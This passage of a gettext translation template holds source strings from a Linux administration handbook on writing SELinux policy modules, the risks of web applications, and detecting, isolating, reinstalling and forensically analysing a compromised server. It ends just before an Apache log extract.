"##              &lt;ul&gt;\n"
"##              &lt;li&gt;Feature A&lt;/li&gt;\n"
"##              &lt;li&gt;Feature B&lt;/li&gt;\n"
"##              &lt;li&gt;Feature C&lt;/li&gt;\n"
"##              &lt;/ul&gt;\n"
"##      &lt;/p&gt;\n"
"## &lt;/desc&gt;\n"
"#\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Execute a domain transition to run myapp.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to transition.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_domtrans',`\n"
"        gen_require(`\n"
"                type myapp_t, myapp_exec_t;\n"
"        ')\n"
"\n"
"        domtrans_pattern($1,myapp_exec_t,myapp_t)\n"
"')\n"
"\n"
"########################################\n"
"## &lt;summary&gt;\n"
"##      Read myapp log files.\n"
"## &lt;/summary&gt;\n"
"## &lt;param name=\"domain\"&gt;\n"
"##      Domain allowed to read the log files.\n"
"## &lt;/param&gt;\n"
"#\n"
"interface(`myapp_read_log',`\n"
"        gen_require(`\n"
"                type myapp_log_t;\n"
"        ')\n"
"\n"
"        logging_search_logs($1)\n"
"        allow $1 myapp_log_t:file r_file_perms;\n"
"')\n"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <emphasis>reference policy</emphasis> evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones. <ulink type=\"block\" url=\"http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted\" />"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Writing a <filename>.te</filename> File"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Have a look at the <filename>example.te</filename> file:"
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language"
msgstr ""

#. Tag: para
#, no-c-format
msgid "To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time."
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declarations\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Myapp local policy\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The module must be identified by its name and version number. This directive is required."
msgstr ""

#. Tag: para
#, no-c-format
msgid "If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Those interfaces define the <literal>myapp_t</literal> type as a process domain that should be used by any executable labeled with <literal>myapp_exec_t</literal>. Implicitly, this adds an <literal>exec_type</literal> attribute on those objects, which in turn allows other modules to grant rights to execute those programs: for instance, the <literal>userdomain</literal> module allows processes with domains <literal>user_t</literal>, <literal>staff_t</literal>, and <literal>sysadm_t</literal> to execute them. The domains of other confined applications will not have the rights to execute them, unless the rules grant them similar rights (this is the case, for example, of <command>dpkg</command> with its <literal>dpkg_t</literal> domain)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<literal>logging_log_file</literal> is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example granting rights to <command>logrotate</command> so that it can manipulate them)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <literal>allow</literal> directive is the base directive used to authorize an operation. The first parameter is the process domain which is allowed to execute the operation. The second one defines the object that a process of the former domain can manipulate. This parameter is of the form “<replaceable>type</replaceable>:<replaceable>class</replaceable>“ where <replaceable>type</replaceable> is its SELinux type and <replaceable>class</replaceable> describes the nature of the object (file, directory, socket, fifo, etc.). Finally, the last parameter describes the permissions (the allowed operations)."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Permissions are defined as the set of allowed operations and follow this template: <literal>{ <replaceable>operation1</replaceable> <replaceable>operation2</replaceable> }</literal>. However, you can also use macros representing the most useful permissions. The <filename>/usr/share/selinux/default/include/support/obj_perm_sets.spt</filename> lists them."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted. <ulink type=\"block\" url=\"http://www.selinuxproject.org/page/ObjectClassesPerms\" />"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates."
msgstr ""

#. Tag: para
#, no-c-format
msgid "However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:"
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid "avc:  denied  { read write } for  pid=1876 comm=\"syslogd\" name=\"xconsole\" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file\n"
msgstr ""

#. Tag: para
#, no-c-format
msgid "To better understand this message, let us study it piece by piece."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Analysis of an SELinux trace"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "Message"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "Description"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>avc: denied</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "An operation has been denied."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>{ read write }</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "This operation required the <literal>read</literal> and <literal>write</literal> permissions."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>pid=1876</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "The process with PID 1876 executed the operation (or tried to execute it)."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>comm=\"syslogd\"</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "The process was an instance of the <literal>syslogd</literal> program."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>name=\"xconsole\"</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "The target object was named <literal>xconsole</literal>."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>dev=tmpfs</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "The device hosting the target object is a <literal>tmpfs</literal> (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “hda3”)."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>ino=5510</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "The object is identified by the inode number 5510."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>scontext=system_u:system_r:syslogd_t:s0</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "This is the security context of the process who executed the operation."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>tcontext=system_u:object_r:device_t:s0</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "This is the security context of the target object."
msgstr ""

#. Tag: entry
#, no-c-format
msgid "<computeroutput>tclass=fifo_file</computeroutput>"
msgstr ""

#. Tag: entry
#, no-c-format
msgid "The target object is a FIFO file."
msgstr ""

#. Tag: para
#, no-c-format
msgid "By observing this log entry, it is possible to build a rule that would allow this operation. For example: <literal>allow syslogd_t device_t:fifo_file { read write }</literal>. This process can be automated, and it's exactly what the <command>audit2allow</command> command (of the <emphasis role=\"pkg\">policycoreutils</emphasis> package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “<literal>dontaudit</literal>” rule to avoid the log entry despite the effective denial."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>COMPLEMENTS</emphasis> No roles in policy rules"
msgstr ""

#. Tag: para
#, no-c-format
msgid "It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as <emphasis>Type Enforcement</emphasis> and the type is the only element that matters when granting rights. <indexterm><primary>Type Enforcement</primary></indexterm> <indexterm><primary>Enforcement, Type Enforcement</primary></indexterm>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Compiling the Files"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Once the 3 files (<filename>example.if</filename>, <filename>example.fc</filename>, and <filename>example.te</filename>) match your expectations for the new rules, just run <command>make</command> to generate a module in the <filename>example.pp</filename> file (you can immediately load it with <command>semodule -i example.pp</command>). If several modules are defined, <command>make</command> will create all the corresponding <filename>.pp</filename> files."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Other Security-Related Considerations"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Security is not just a technical problem; more than anything, it's about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Inherent Risks of Web Applications"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (<emphasis>Linux, Apache, MySQL, PHP</emphasis>) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>VOCABULARY</emphasis> SQL injection"
msgstr ""

#. Tag: para
#, no-c-format
msgid "When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible. <ulink type=\"block\" url=\"http://en.wikipedia.org/wiki/SQL_Injection\" />"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>SQL injection</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Knowing What To Expect"
msgstr ""

#. Tag: para
#, no-c-format
msgid "A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>QUICK LOOK</emphasis> Filtering HTTP queries"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned."
msgstr ""

#. Tag: para
#, no-c-format
msgid "<emphasis>mod-security</emphasis> (in the <emphasis role=\"pkg\">libapache-mod-security</emphasis> package) is the main such module."
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary><emphasis>mod-security</emphasis></primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. <emphasis>Script-kiddies</emphasis> only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgstr ""

#. Tag: para
#, no-c-format
msgid "A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the <literal>www-data</literal> user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a <command>wget</command> command that will download some malware into <filename>/tmp/</filename>, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to follow the scent to the actual origin of the attack."
msgstr ""

#. Tag: para
#, no-c-format
msgid "At this point, the attacker has enough freedom of movement that they often install an IRC <emphasis>bot</emphasis> (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The <literal>www-data</literal> account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>VOCABULARY</emphasis> Privilege escalation"
msgstr ""

#. Tag: para
#, no-c-format
msgid "This term covers anything that can be used to obtain more permissions than a given user should normally have. The <command>sudo</command> program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a <emphasis>rootkit</emphasis>, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted <command>ps</command> program will omit to list some processes, <command>netstat</command> will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing <command>sudo</command> or <command>ssh</command> with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on."
msgstr ""

#. Tag: para
#, no-c-format
msgid "This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Choosing the Software Wisely"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as <literal>SecurityFocus.com</literal>, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>VOCABULARY</emphasis> Security audit"
msgstr ""

#. Tag: para
#, no-c-format
msgid "A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>VOCABULARY</emphasis> Zero-day exploit"
msgstr ""

#. Tag: para
#, no-c-format
msgid "A <emphasis>zero-day exploit</emphasis> attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Managing a Machine as a Whole"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there's no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine."
msgstr ""

#. Tag: para
#, no-c-format
msgid "By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine), or with SELinux (each service daemon having an adequately designed set of permissions)."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Users Are Players"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>QUICK LOOK</emphasis> <emphasis role=\"pkg\">autolog</emphasis>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <emphasis role=\"pkg\">autolog</emphasis> package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Physical Security"
msgstr ""

#. Tag: para
#, no-c-format
msgid "There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Legal Liability"
msgstr ""

#. Tag: para
#, no-c-format
msgid "An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit."
msgstr ""

#. Tag: para
#, no-c-format
msgid "An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine."
msgstr ""

#. Tag: para
#, no-c-format
msgid "When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Dealing with a Compromised Machine"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Detecting and Seeing the Cracker's Intrusion"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named <literal>apache</literal> instead of the standard <literal>/usr/sbin/apache2</literal>. If we follow that example, the thing to do is to note its process identifier, and check <filename>/proc/<replaceable>pid</replaceable>/exe</filename> to see what program this process is currently running:"
msgstr ""

#. Tag: screen
#, no-c-format
msgid ""
"\n"
"<computeroutput># </computeroutput><userinput>ls -al /proc/3719/exe</userinput>\n"
"<computeroutput>lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -&gt; /var/tmp/.bash_httpd/psybnc</computeroutput>\n"
"      "
msgstr ""

#. Tag: para
#, no-c-format
msgid "A program installed under <filename>/var/tmp/</filename> and running as the web server? No doubt left, the machine is compromised."
msgstr ""

#. Tag: para
#, no-c-format
msgid "This is only one example, but many other hints can ring the administrator's bell:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "an option to a command that no longer works; the version of the software that the command claims to be doesn't match the version that is supposed to be installed according to <command>dpkg</command>;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "a command prompt or a session greeting indicating that the last connection came from an unknown server on another continent;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "errors caused by the <filename>/tmp/</filename> partition being full, which turned out to be full of illegal copies of movies;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "and so on."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Putting the Server Off-Line"
msgstr ""

#. Tag: para
#, no-c-format
msgid "In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet."
msgstr ""

#. Tag: para
#, no-c-format
msgid "This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see following sections), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but <command>sshd</command>). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Keeping Everything that Could Be Used as Evidence"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice."
msgstr ""

#. Tag: para
#, no-c-format
msgid "In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (<command>netstat -tupan</command> for network connections, <command>ps auxf</command> for a list of processes, <command>ls -alR /proc/[0-9]*</command> for a little more information on running programs), and every performed check should carefully be written down."
msgstr ""

#. Tag: title
#, no-c-format
msgid "<emphasis>CAUTION</emphasis> Hot analysis"
msgstr ""

#. Tag: para
#, no-c-format
msgid "While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted <command>ps</command> command to hide some processes, or for a subverted <command>ls</command> to hide files; sometimes even the kernel is compromised!"
msgstr ""

#. Tag: para
#, no-c-format
msgid "If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running <command>sync</command>) and reboot it on a rescue CD. Each partition should be copied with a tool such as <command>dd</command>; these images can be sent to another server (possibly with the very convenient <command>nc</command> tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Re-installing"
msgstr ""

#. Tag: indexterm
#, no-c-format
msgid "<primary>backdoor</primary>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we're rid of everything the attacker may have left behind (particularly <emphasis>backdoors</emphasis>). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media."
msgstr ""

#. Tag: title
#, no-c-format
msgid "Forensic Analysis"
msgstr ""

#. Tag: para
#, no-c-format
msgid "Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the <literal>ro,nodev,noexec,noatime</literal> options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Retracing an attack scenario usually involves looking for everything that was modified and executed:"
msgstr ""

#. Tag: para
#, no-c-format
msgid "<filename>.bash_history</filename> files often provide for a very interesting read;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "so does listing files that were recently created, modified or accessed;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;"
msgstr ""

#. Tag: para
#, no-c-format
msgid "special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete."
msgstr ""

#. Tag: para
#, no-c-format
msgid "Some of these operations can be made easier with specialized software. In particular, <emphasis>The Coroner Toolkit</emphasis> (in the <emphasis role=\"pkg\">tct</emphasis> package) is a collection of such tools. It includes several tools; amongst these, <command>grave-robber</command> can collect data from a running compromised system, <command>lazarus</command> extracts often interesting data from non-allocated regions on disks, and <command>pcat</command> can copy the memory used by a process; other data extraction tools are also included. <indexterm><primary>The Coroner Toolkit</primary></indexterm>"
msgstr ""

#. Tag: para
#, no-c-format
msgid "The <emphasis role=\"pkg\">sleuthkit</emphasis> package provides a few other tools to analyze a filesystem. Their use is made easier by the <emphasis>Autopsy Forensic Browser</emphasis> graphical interface (in the <emphasis role=\"pkg\">autopsy</emphasis> package). <indexterm><primary>Autopsy Forensic Browser</primary></indexterm>"
msgstr ""

#. Tag: title
#, no-c-format
msgid "Reconstituting the Attack Scenario"
msgstr ""

#. Tag: para
#, no-c-format
msgid "All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings."
msgstr ""

#. Tag: para
#, no-c-format
msgid "The following log is an extract from an Apache <filename>access.log</filename>:"
msgstr ""

#. Tag: programlisting
#, no-c-format
msgid ""
"\n"
